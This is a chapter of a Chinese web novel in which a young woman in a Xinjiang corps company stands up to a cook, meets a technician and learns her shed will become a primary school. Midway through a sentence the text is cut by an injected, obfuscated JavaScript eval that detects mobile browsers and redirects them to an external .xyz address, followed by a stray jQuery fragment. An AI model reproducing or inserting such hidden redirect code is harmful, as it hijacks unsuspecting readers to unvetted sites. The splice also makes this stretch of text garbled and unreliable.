舒染在新褥子上睡了一会,再睁眼已是饥肠辘辘。
她看了看手表上的时间,已经是下午八点多了,因为时差的关系,新疆的天黑得晚,现在外面还是白天。
她拿起自己的搪瓷盆和勺子,走向连队食堂。
食堂里此刻已经排起了长队。掌勺的是个膀大腰圆,围着围裙的胖师傅,手里挥舞着一柄长柄的大铁勺。
舒染排到窗口。前面几个男职工打饭时,胖师傅手腕一抖,铁勺在桶底巧妙地刮了一圈,舀上来的糊糊稠得几乎能立住筷子,上面还颤巍巍地浮着几块油汪汪的羊肉。
轮到女职工,尤其是一些看起来瘦弱的,或者是新来的女青年时,那勺子就变得“轻盈”起来,只在糊糊表面浅浅一捞,清汤寡水,肉星子更是难觅踪影。
轮到舒染了。她递上自己的搪瓷盆。
胖师傅瞥了她一眼,眼神在她白皙的脸庞和干净的列宁装上溜了一圈,嘴角撇了撇。
果然,那柄大铁勺伸进糊糊桶,敷衍地在表面搅了搅,舀起一勺稀汤寡水的东西就要往她盆里倒。
就在那勺“清汤”即将落盆的瞬间——
“师傅!”舒染的声音清脆地响起,她一只手托着搪瓷盆,另一只手屈起食指和中指,在搪瓷盆边缘“铛!铛!铛!”地敲了三下。
声音不大,却异常突兀。周围瞬间安静了不少,排队的人都看了过来。
胖师傅的动作顿住了,勺子悬在半空,糊糊滴滴答答落回桶里。他拧着眉头,凶巴巴地瞪着舒染:“敲啥敲?后面还排着队呢!”
舒染没有丝毫惧色,反而露出一个真心求教的表情,“师傅,我就是有点疑惑,想跟您请教一下。”
她顿了顿,在胖师傅不耐烦的注视下,慢条斯理地问道:“师傅,麻烦您。请问今天的伙食定量标准是什么?每人糊糊多少?肉多少?我看前面几位男同志打的好像稠一些?”
胖师傅僵住,舒染又补一句:“三大纪律八项注意要求‘买卖公平’,咱们食堂给同志们分饭,是不是也该按量公平,一视同仁?”
胖师傅脸上的横肉一哆嗦,眼神里掠过一丝慌乱,这个看起来娇滴滴的资本家小姐竟然会当众搬出这个!周围排队的人,尤其是那些平时被打清汤的女职工,眼神都变了。
胖师傅的脸一阵红一阵白,众目睽睽之下,这帽子扣下来,这可不是闹着玩的!
他恶狠狠地剜了舒染一眼,手腕一沉,铁勺重重地捅进糊糊桶底,狠狠地搅动了几下,舀起满满当当的一大勺,上面堆着好几块羊肉,“哐当”一声,重重地扣进了舒染伸过来的搪瓷盆里。
“够了吧?!”胖师傅从牙缝里挤出几个字,恶狠狠地说。
“谢谢师傅!”舒染仿佛没看到他吃人的眼神,脸上绽开一个甜美的笑容,端着那盆晚饭,从容地转身离开窗口。
周围响起几声压抑的轻笑和低低的叫好声。
胖师傅气得胸口起伏,却又发作不得,只能把火撒在下一个打饭的人身上,勺子摔得咣咣响。
舒染端着满满的搪瓷盆,找了个角落的位置坐下。她拿起勺子,正准备享用这顿胜利果实,眼角的余光却瞥见门口光线一暗。
陈远疆地身影出现在食堂门口。他显然也刚忙完,目光习惯性地扫视着食堂内部,掠过人群,掠过窗口的胖师傅,最后落在了舒染面前那个堆得冒尖的搪瓷盆上。
随即,他的视线便移开了,他走向打饭窗口。
胖师傅看到陈远疆,脸上挤出了笑容,动作麻利地给他打了满满一大勺,肉放得格外多。
舒染低下头吃着羊肉。嗯,味道不错。这顿晚饭,吃得格外香。
她刚放下勺子,一个身影端着碗在她对面坐了下来。
“舒染同志?你好。”
舒染抬头。对面坐着一个年轻男人,大约二十五六岁,戴着一副很厚的眼镜,头发梳得一丝不苟,脸色带着一种书卷气。他碗里的糊糊很稀,只有零星一点咸菜丝。
“你好。”舒染礼貌地点点头,认出这是昨天在食堂见过的人之一。
“周文彬,”男人推了推眼镜,自我介绍,声音带着点南方口音,语调有些低沉,“师部农科所派下来的技术员,搞土壤改良的。”
他看了看舒染面前的空盆,又看看自己碗里的清汤寡水,嘴角扯出一个自嘲的苦笑,“还是舒染同志有办法。这鬼地方的伙食,真是清汤寡水,难以下咽。在上海的时候,哪里吃过这种东西?”他用筷子尖嫌弃地拨弄了一下碗里的咸菜丝。
他的语气里充满了抱怨和一种高人一等的失落,仿佛被流放到了蛮荒之地。
“上海”两个字带着诱惑力,戳中了她内心最隐秘的渴望。一股想要逃离这里的冲动被唤起。
她端着空盆的手指下意识地收紧,几乎控制不住想要附和。
她张了张嘴,那句“是啊,太难熬了”几乎要脱口而出。但话到嘴边,最终,她只是垂下眼帘应道:“……嗯,是不太一样。”。
她不想再听这些动摇意志的话,只想立刻离开这里。她收拾碗勺的动作有些急促:“周技术员慢用,我……我先走了。”
她有些仓促地转身,端着空盆快步离开了座位。
周文彬看着她背影,想再说什么,可舒染已经走远了。
舒染走出食堂,往连部后头那个刚收拾出来的破棚子走去。
她低着头,脑子里还在盘算着明天的“攻坚战”,拐过连部那排土坯房的阴影,视线里撞入一双翻毛皮鞋,停在她前方几步远的小路上。
舒染脚步一顿,心下意识地提了起来。她缓缓抬眼。
陈远疆就站在她面前,深邃的眼睛注视着她。他刚从食堂出来,看样子是回他那间挂着特殊符号的小屋。
舒染脚下不着痕迹地往旁边偏了半步,想从旁边绕过去。她不想和他再有交集。
“舒染同志。”
避无可避。舒染停下,微微侧身看向他,脸上没什么表情:“好巧啊,陈干事。”
“不巧,”他向前走了两步,“我就是来找你的。”
舒染迎上他的目光,语气里带着防备:“有什么事吗?”
陈远疆的目光锐利了几分,掠过她的口袋。
“今天和你说话的周文彬,”他顿了一下,似乎在斟酌用词,但出口的话依旧带着冷硬,“他和你有同样的背景身份。”
舒染的脊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996814|178209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
背绷直了,她明白了他的潜台词。
“这与我有什么干系?”她的声音冷了下来。
陈远疆没料到她会顶回来,沉声道:“就是想提醒你一下,提高思想觉悟。”这话像是一种警告。
“多谢提醒。”舒染的回答得冷淡,“知道您是专门……管我们的想法的,但我们两个同类说两句话应该没犯什么错误吧?”
气氛陷入僵持。
短暂的沉默后,陈远疆再开口,语气里带着滞涩:“上次的事情……是我想当然了。”
舒染抬眼看他。这几乎算是一种变相的道歉?心头那点抵触泄了点气。
“……没事。”她最终只吐出两个干巴巴的字,移开了视线。
陈远疆似乎也不打算在这个话题上停留。他话锋一转,“启明小学,建设得怎么样了?”
舒染愣住了,茫然地看向他:“什么小学?”她怀疑自己听错了。这荒凉的畜牧连,除了她那个破棚子,哪来的小学?
“文件里说各连队要发展教育,我给上级打了个报告。”陈远疆停顿了一下,目光投向她身后那靠着围墙的工具棚,“你收拾的那个教室是咱们连队唯一的教学点,今后就是启明小学了。”
她有些难以置信,他打报告给了那个破棚子一个正式的名字,一个小学的名分。
陈远疆的目光重新落回她脸上,“上级知道你任务重,”他继续道,“明确要求你脱产扫盲。希望你能完成组织交给你的任务。”
脱产扫盲,那就是不会给她安排劳动任务了?
她连日来的委屈被一股热流冲上眼眶,克制的声音响起:“一定。”
陈远疆看了她一眼,没再说什么,大步流星地离开了。
她走到围墙边上的棚子里,站在那个土坯垒成的讲台前。她摸了摸门板粗糙的表面,那是她今后要用到的黑板。墨汁还没完全干透,沾了一点在指尖。
讲台很简陋,甚至有些歪斜,但这是她的阵地。
“讲台有了,课桌呢?”舒染环顾空荡荡的棚子。赵卫东只给了地方,别的什么都没有。
她走到棚子角落,那里堆着她早上清理出来的几块还算平整的大土坯。她试着搬动一块,很沉,但比垒讲台时的小土坯好搬些。她把三块大土坯搬到棚子中央,呈品字形摆开。
“这就是课桌了。”舒染看着这三块土疙瘩,苦笑了一下。她想象着孩子们趴在上面写字的场景,硌手是肯定的。
她又扫视地面,看到几块散落的小一点的碎石灰块。“粉笔就用这个吧。”她弯腰捡起几块,在手里掂了掂,棱角还算分明,在黑板上划拉能留下白痕。
“教棍……”她的目光落在墙角几根被丢弃的、还算直溜的红柳枝上。走过去捡起一根,长度刚好,韧性也不错。“就是它了。”
简单的教具总算有了着落。
舒染松了口气。她走到门口,借着最后的天光,看着空荡荡的棚子内部,视线又落在那些充当课桌的大土坯上。
孩子们只能蹲着或坐在地上,土块上写字画画,时间久了肯定难受。她皱起了眉。
得想办法弄点能坐的东西,哪怕只是矮凳呢。但眼下也只能先这样了。